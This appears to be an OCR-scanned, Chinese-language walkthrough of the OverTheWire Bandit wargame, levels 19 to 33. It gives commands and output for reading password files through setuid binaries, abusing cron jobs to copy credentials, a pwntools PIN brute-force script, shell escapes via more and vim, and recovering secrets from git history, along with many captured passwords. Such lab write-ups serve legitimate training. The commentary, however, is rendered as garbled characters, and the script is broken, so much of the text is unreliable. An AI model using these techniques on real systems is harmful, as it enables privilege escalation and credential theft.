-i, --ignore-environment start with an empty environment
-0, --null end each output line with NUL, not newline
-u, --unset=NAME remove variable from the environment
--help display this help and exit

--version output version information and exit
A mere - implies -i. If no COMMAND, print the resulting environment.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/

Full documentation at: <http://www.gnu.org/software/coreutils/env

or available locally via: info '(coreutils) env invocation'

bandit19@bandit:~$ ./bandit20-do NAME=11020 cat /etc/bandit_pass/bandit

bandito banditl2 banditl6 bandit2 bandit23 bandit27 bandit30 bandit4 bandit8
banditl banditl3 banditl7 bandit20 bandit24 bandit28 bandit31 bandit5 bandit9
banditl® banditl4 banditl8 bandit21 bandit25 bandit29 bandit32 bandité6

banditll banditl5 banditl9 bandit22 bandit26 bandit3 bandit33 bandit?7
bandit19@bandit:~$ ./bandit20-do NAME=11020 cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55vegwY5aVje5f0]j

Level 20 — Level 21

Level Goal
There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a
commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level

(bandit20). If the password is correct, it will transmit the password for the next level (bandit21).
NOTE: Try connecting to your own network daemon to see if it works as you think

Commands you may need to solve this level

ssh, nc, cat, bash, screen, tmux, Unix ‘job control’ (bg, fg, jobs, &, CTRL-Z, ...)

screenfr & HIEA  https://www.ibm.com/developerworks/cn/linux/l-cn-screen/

tmuxfE 2 FF & 4, job controlsZ# F AR T .

XU R FF I — AN BT B3k 2, 4R JG suconnect SO 1) 1X Ao H 4 545 B A1 SCAHH R R P st 2 IR [B] T — SR 2589,  FRATHA
NCRE AR R [ B 1 [ it e i e L 2 T



\bandit2e@bandit:~$ nc -1lv /etc/bandit_pass/bandit20
[6] 11816
bandit2@@bandit:~$ listening on [any] 34957 ...

bandit20@bandit:~$ ./suconnect 34957

connect to [127.0.0.1] from localhost [127.0.0.1] 46028

Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0oj

Password matches, sending next password
gE269g2h3mw3pwgrjoHa9Uogen1coDGr

[6] Done nc -1lv < /etc/bandit_pass/bandit20

BIhIR Bl T — R KD
Level 21 — Level 22

Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the
configuration and see what command is being executed.

Commands you may need to solve this level

cron, crontab, crontab(5) (use “man 5 crontab” to access this)

cron/ AT LAS % IX 58 SCE https:/Awww.cnblogs.com/longjshz/p/5779215.html

SERBRAIBEREAMNAR IAEMN A, TUFBIRXR—MPITT ML, RETTFXNMHNEFEFEZR A ENK22KRENT
Fmp HF TR —/MEA, FATZEBOXANEE XA AE T T —REHEL.

bandit21@bandit:~$ cd /etc/cron.d
bandit21@bandit:/etc/cron.d$ 1s

cronjob_bandit22 cronjob_bandit23 cronjob_bandit24
bandit21@bandit:/etc/cron.d$ cat cronjob_bandit22

@reboot bandit22 /usr/bin/cronjob_bandit22.sh /dev/null

* * ¥ X ¥ bandit22 /usr/bin/cronjob_bandit22.sh /dev/null

bandit21@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash

chmod 644 /tmp/t7061ds9SORqQh9aMcz6ShpAoZKF7fgv

cat /etc/bandit_pass/bandit22 /tmp/t7061ds9SORqQh9aMcz6ShpAoZKF7fgv

bandit21@bandit:/etc/cron.d$ cat /tmp/t7061ds9SORqQh9aMcz6ShpAoZKF7fgv
k7owGACWjwMVRwrTesJEwWB7WVOiILLI

Level 22 — Level 23

Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the

configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to
read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)

FREBRZXRFTURKER WA RH A, 0T



bandit22@bandit:~$ cd /etc/cron.d
bandit22@bandit:/etc/cron.d$ 1s
cronjob_bandit22 cronjob_bandit23 cronjob_bandit24

bandit22@bandit:/etc/cron.d$ cat cronjob_bandit23

@reboot bandit23 /usr/bin/cronjob_bandit23.sh /dev/null

* * % X * bandit23 /usr/bin/cronjob_bandit23.sh /dev/null
bandit22@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

whoami

echo

echo "Copying passwordfile /etc/bandit_pass/ to /tmp/

cat /etc/bandit_pass/ /tmp/

SEIKIThRER B HT A P 4, G THE lam user $41HI A 42 BImd5{E, Ribandit227% #% i) 2 #l Bltmp B 3% T B9 B2 I md5SE K
SRR A

bandit22@bandit:/etc/cron.d$ /bin/bash /usr/bin/cronjob_bandit23.sh

Copying passwordfile /etc/bandit_pass/bandit22 to /tmp/8169b67bd894ddbb4412f91573b38db3
bandit22@bandit:/etc/cron.d$ cat /tmp/8169b67bd894ddbb4412f91573b38db3
Yk7owGACWjwMVRwrTesJEwB7WVOiILLI

BEEUGXAN A, XA CERDN, {RIkSEHE, |am user bandit23fhashfE gl & T — R/,

bandit22@bandit:~$ echo I am user bandit23| md5sum
8ca319486bfbbc3663eadfbe81326349 -

bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663eadfbe81326349
jcludXuAltiHgqjIsL8yaapX5XIAI6iln

Level 23 — Level 24

Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the

configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when

you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around...

Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)

ZIE, BRABERANENWAS TH4



bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24

@reboot bandit24 /usr/bin/cronjob_bandit24.sh /dev/null

* * * X * bandit24 /usr/bin/cronjob_bandit24.sh /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=% (whoami

cd /var/spool/

echo "Executing and deleting all scripts in /var/spool/

for i in * .*;
do

then
echo "Handling
timeout -s 9 60 ./

Ivar/spool/cron/ iXA™ B 3 F UK 2 84 H P Efrooticrontabft 55, BMESIEBIEE L T4, HlntomEZcrontablE 5
Xt B2 SO A2 var/spool/cronftom.  — i — AN &% R —A~crontab S04

RAI#E var/spool/bandit24 B 3 T it 7] LLiZ /Tbandit24 i & B %

B —NRAES H R TR BEA AT AT T

vim getpass.sh #E A vimZs i =N\ A

A

cat /etc/bandit_pass/bandit24 > /tmp/bandit24pass

: WolRAFIE H

bandit23@bandit:/var/spool/bandit24$ vim getpass
bandit23@bandit:/var/spool/bandit24$ chmod 777 getpass

bandit23@bandit:/var/spool/bandit24$

X & 7E var/spool/bandit24 B 3 T A — € BEE RARE KA, BUERTH K ERESHA RIS K, HAT M HES M
BT, FTUKEIAETE.
AR U BRATKEACE AT T, WEmp HREFRINNEG T

bandit23@bandit:/var/spool/bandit24$ cat /tmp/bandit24pass

UoMYTrfrBFHyQXmg6gzctqAwOmwlIohZ

T—RHEHECESFT
Level 24 — Level 25

Level Goal

A daemoniis listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret
numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called
brute-forcing.



MR pythonifjpwntools NI A IR FI LT T, 1ER, EHAME R TRMNREESHRE, XAMHARGEEMpE R TEIE. W
FRARE T EIX Freceive lined7¥%, HUHEIAHH NS RREL BR TR,
vim /tmp/conn.py

QAT

#! /usr/bin/python

from pwn import

conn remote( 'localhost', '30002')
badline conn.recvline()

for i in range(1000):

tmp str(i).zfill(4)
print '[+] Trying pincode: ' str(tmp)
conn.sendline( 'UoMYTrfrBFHyQXmg6gzctqAwOmwlIohZ *
response conn.recvline()
print response
if "Wrong" in response;

print "Got Pincode: " str(tmp)

response conn.recvline()

print response

exit(9)

S

& UHIZAT python /tmp/conn.py

[+] Trying pincode: 0377
Wrong! Please enter the correct pincode. Try again.

[+] Trying pincode: 0378
Correct

Got Pincode: 0378
The password of user bandit25 is uNG9058gUE7snukf3bvZOrxhtnjzSGzG

Mg Rm bR, B A EE SRR A ERT .
Level 25 — Level 26

Level Goal
Logging in to bandit26 from bandit25 should be fairly easy... The shell for user bandit26 is not /bin/bash, but something else. Find
out what itis, how it works and how to break out of it.

Commands you may need to solve this level

ssh, cat, more, vi, Is, id, pwd

% X UE BIRK H % LA — bandit26.sshkey, 7] MR Z BT — XA E EETER EMNL, ssh -1
bandit26.sshkey bandit26@localhost , KRELEBRBEBEHTRERME T, MLE-TSHEBEERH, &HBRRUIXAFH 2 A
shell, &F&F H ¥ P A K H 4 shell 7T LA F /etc/passwd.

bandit25@bandit:~$ cat /etc/passwd|grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

passwd LA IS N



W5 ARk RIERER AR 4

G BHUNXR AR FDRBAERAN M FEK, EHERAXASCHRR R R PRSI, Frol, XHERESIER
BAEWGIEL, R 5 SRk 1% A 7 B PR 25 A B B 2l /ete/shadow T

UD: FFID, 8ANKS &M —MUD, &% UID=0% rroots H i
GID: #4ID, Sletc/groupF %, letc/groupSletc/passwdEARZ%, R HRMTEH P AHEBK
RAPERRBAR: FARBBEXNKSRTHAH

FHEHF: homeB 3, BIAPEMUIEBERINEZE, LClrootl P RH], /rootREMZK B ZE, Frblrootfl &kt LLG stk
Fl/rootH FiX B

Shell: F 1 Kshell, &% f# F/bin/bashiX 4 shell, Xtk 2 A4 B MLinuxid BRA FshellZbashi R, mi~7EX B
WEK, WRBEEFEICEREERHMshell, ATUAEXEBH. BI—MBEERNRFARZE —shel ] LAREBRLLK S T
EE R4, B Z/sbin/nologin.

FBbandit26 A F* F ] i shellgi & /usr/bin/showtext

bandit25@bandit:~$ cat /usr/bin/showtext
#!1/bin/sh

export TERM=1linux

more ~/text.txt

exit O

R KMEREN R F R XA exit 0, 7EIXMexit Z BRI PATRATRE ) fr & 5 a] LA B RATEER R T .

fEmore i & PAT Z BT H APAT Ar S BITT, ESERLmAE/D, AR5 X EREDbandit26, XA LU K B 3more, FEmorefir 4
A 25 R R v AvimZn i . HatRAVimEEE e file, vimBER T e ST LS AR 5B N, RAIEED
MIBRTE, BRULEAT A et 45k § N BRGSO

: e /etc/bandit_pass/bandit26

RIG26 R E P S AR L um Al B T, A
5czgVIL3Xx8JPOyRbXh6IQbmIOWVPTEZ

Level 26 — Level 27

Level Goal
Good job getting a shell! Now hurry and grab the password for bandit27!

Commands you may need to solve this level

Is

X—REAEEsshB 2 5 R EEWIT T, PFroli E—RER—H#, #Amore, FIAVIMERIITIHS, XKXANEEHeR
ERCSUHET, FEARRAE . lcommandti AT, IshtB AT, JEREE BB RKIVImIER —FFE LR Bshell) B XA 1T
VimIE R

:set shell=/bin/sh
:sh

RERBETHEERTUERT . Is—TF



bandit26@bandit:~$ 1s
bandit27-do text.txt

BHAbandit27-do3XCf, AT XA EEbandit27 5 T LL T .

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea

Level 27 — Level 28

Level Goal
There is a git repository at ssh://bandit27-git@localhosthome/bandit27-git/repo. The password for the user bandit27-git is the
same as for the user bandit27.

Clone the repository and find the password for the next level.

Commands you may need to solve this level

git

XERFERGERE KNGS, EEAELHEREHEAN T H AR, PrUlRIERN Bx T e R, BASROT, K
PLIXANT H ) BL T I README w2 13- ) i 25 4H

bandit27@bandit:~$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
fatal: could not create work tree dir 'repo': Permission denied

bandit27@bandit:~$ mkdir /tmp/conn

bandit27@bandit:~$ cd /tmp/conn

bandit27@bandit:/tmp/conn$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
Cloning into 'repo’...

Could not create directory '/home/bandit27/.ssh'.

The authenticity of host 'localhost (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:98ULOZWr85496EtCRkK1020X30PnyPSB5tB5RPbhczc.

Are you sure you want to continue connecting (yes/no)? yes

Failed to add the host to the list of known hosts (/home/bandit27/.ssh/known_hosts).

This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit27-git@localhost's password:

remote: Counting objects: 3, done.

remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta @), reused © (delta @)
Receiving objects: 100% (3/3), done.
bandit27@bandit:/tmp/conn$ 1s

repo

bandit27@bandit:/tmp/conn$ cd repo/
bandit27@bandit:/tmp/conn/repo$ 1s

README

bandit27@bandit:/tmp/conn/repo$ cat README
The password to the next level is: @efl1l86ac70e@4ea33b4c1853d2526fa2

Level 28 — Level 29

Level Goal
There is a git repository at ssh://bandit28-git@localhost/home/bandit28-git/repo. The password for the user bandit28-git is the
same as for the user bandit28.

Clone the repository and find the password for the next level.



Commands you may need to solve this level

git

e RET B I A BT —
bandit28@bandit:/tmp/conn28/repo$ cat README.md

# Bandit Notes
Some notes for level29 of bandit.

## credentials

- username: bandit29

- password: XXXXXXXXXX

AL SR BRATZ R R B ERA ORI 1 ,git ogEF R L, REXMRARZId, ERXH, BHEG.

bandit28@bandit:/tmp/conn28/repo$ git log
commit ©73c27c130e6eed4B7el2faadldd3848a110c4195
Author: Morla Porla <morla@overthewire.org
Date: Tue Oct 16 14:00:39 2018 +0200

fix info leak

commit 186a1038cc54d1358d42d468cdc8e3cc28a93fch
Author: Morla Porla <morla@overthewire.org
Date: Tue Oct 16 14:00:39 2018 +0200

add missing data

commit b67405defc6ef44210c53345fc953e6a21338cc7
Author: Ben Dover <noone@overthewire.org
Date: Tue Oct 16 14:00:39 2018 +0200

initial commit of README.md
bandit28@bandit:/tmp/conn28/repo$ git diff 186a 073c
diff --git a/README.md b/README.md
index 3f7cee8..5c6457b 100644
--- a/README.md
+++ b/README.md
0@ -4,5 +4,5 @@ Some notes for level29 of bandit.
## credentials

- username: bandit29
-- password: bbc96594b4e001778eee9975372716b2
+- password: XXXXXXXXXX

Level Goal
There is a git repository at ssh://bandit29-git@localhost/home/bandit29-git/repo. The password for the user bandit29-git is the
same as for the user bandit29.

Clone the repository and find the password for the next level.
Commands you may need to solve this level

git
git showdn 4, gitlog#r4i&A git diffir & & Fgit $3 i E, FHgitbranch-a iy & AER S, KMBILFUNH.




bandit29@bandit:/tmp/conn29/repo$ git branch -a
* master
remotes/origin/HEAD -> origin/master
remotes/origin/dev
remotes/origin/master
remotes/origin/sploits-dev

git checkout F] AV #5332, Z1)#F|devEFgitlog AT LAK I, &7 HIMR A B 1H A 1~data needed for development

bandit29@bandit:/tmp/conn29/repo$ git checkout dev
Switched to branch 'dev'

our branch is up-to-date with 'origin/dev'.
bandit29@bandit:/tmp/conn29/repo$ git log

commit 33ce2e95d9c5d6fb0ad0e5ee9a2926903646b4e3
Author: Morla Porla <morla@overthewire.org

Date: Tue Oct 16 14:00:41 2018 +0200

add data needed for development
commit a8af722fccd4206fc3780bd3ede35b2c03886d9b
Author: Ben Dover <noone@overthewire.org
Date: Tue Oct 16 14:00:41 2018 +0200

add gif2ascii
commit 84abedc104bbcOc65cb9eb74eb1d3057753e7018
Author: Ben Dover <noone@overthewire.org
Date: Tue Oct 16 14:00:41 2018 +0200

fix username
commit 9bl19e7d8claadf4edcc5b15ba8107329ad6c5650
Author: Ben Dover <noone@overthewire.org

Date: Tue Oct 16 14:00:41 2018 +0200

initial commit of README.md

RJETEIXAN A B TH FIREADME & BL % 19

bandit29@bandit:/tmp/conn29/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: 5b90576bedb2cc@4c86a9e924ced2faf

Level Goal
There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo. The password for the user bandit30-git is the
same as for the user bandit30.

Clone the repository and find the password for the next level.




Commands you may need to solve this level
git
git show-refr] LLI S 4 377 A o 14 BT o7 A EK) 51 A DA R SRR KT 4R 3E 1D

bandit3e@bandit:/tmp/conn30/repo$ git show-ref
3aa4c239f729b07deb99a52f125893e162daac9e refs/heads/master
3aa4c239f729b07deb99a52f125893e162daac9e refs/remotes/origin/HEAD
3aa4c239f729b07deb99a52f125893e162daac9e refs/remotes/origin/master

f17132340e8ee6c159e0adabbc6f80elda3blaea refs/tags/secret
bandit3@@bandit:/tmp/conn30/repo$ git show f171
47e603bb428404d26559c42920d81e5

Level Goal
There is a git repository at ssh://bandit31-git@localhostthome/bandit31-git/repo. The password for the user bandit31-git is the
same as for the user bandit31.

Clone the repository and find the password for the next level.

Commands you may need to solve this level
git
X UERNEZ B ZECE

bandit31@bandit:/tmp/conn31/repo$ cat README.md
This time your task is to push a file to the remote repository.

Details:
File name: key.txt
Content: 'May I come in?'
Branch: master

bandit31@bandit:/tmp/conn31/repo$ vim key.txt
bandit31@bandit:/tmp/conn31/repo$ 1s

key.txt README.md

bandit31@bandit:/tmp/conn31/repo$ git add key.txt
The following paths are ignored by one of your .gitignore files:
key.txt

Use -f if you really want to add them.
bandit31@bandit:/tmp/conn31/repo$ git status
On branch master

our branch is up-to-date with 'origin/master’.

nothing to commit, working tree clean
bandit31@bandit:/tmp/conn31/repo$ git add -f key.txt
bandit31@bandit:/tmp/conn31/repo$ git status
On branch master

our branch is up-to-date with 'origin/master’.

Changes to be committed:

(use "git reset HEAD <file>...

to unstage)

new file: key.txt




bandit31@bandit:/tmp/conn31/repo$ git status
On branch master
our branch is up-to-date with 'origin/master’.
Changes to be committed:
(use "git reset HEAD <file>..." to unstage)

new file: key.txt

bandit31@bandit:/tmp/conn31/repo$ git commit -m 'add key.txt'
[master 7eff4e3] add key.txt
1 file changed, 1 insertion(+)
create mode 100644 key.txt
bandit31@bandit:/tmp/conn31/repo$ git push origin master
Could not create directory '/home/bandit31/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:98ULOZWr85496EtCRkK1020X30PnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).

This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit31-git@localhost's password:

Counting objects: 3, done.

Delta compression using up to 4 threads.

Compressing objects: 100% (2/2), done.

Writing objects: 100% (3/3), 324 bytes | @ bytes/s, done.
Total 3 (delta @), reused @ (delta @)

remote: ### Attempting to validate files... ####

.000.000.000.000.000.000.000.000.000.000.

: Well done! Here is the password for the next level:
56a9bf19c63d650ce78e6ec@354ee45e

.000.000.000.000.000.000.000.000.000.000.
://localhost/home/bandit31-git/repo
[remote rejected] master -> master (pre-receive hook declined)

error: failed to push some refs to 'ssh://bandit31-git@localhost/home/bandit31-git/repo’
bandit31@bandit:/tmp/conn31/repo$

183 T — %35 4956a9bf19c63d650ce78e6ec0354ee45e

After all this git stuff its time for another escape. Good luck!

Commands you may need to solve this level
sh, man

EENBREERS TR RENL . BAR, REEBEE

For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.

Enjoy your stay

WELCOME TO THE UPPERCASE SHELL




$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee
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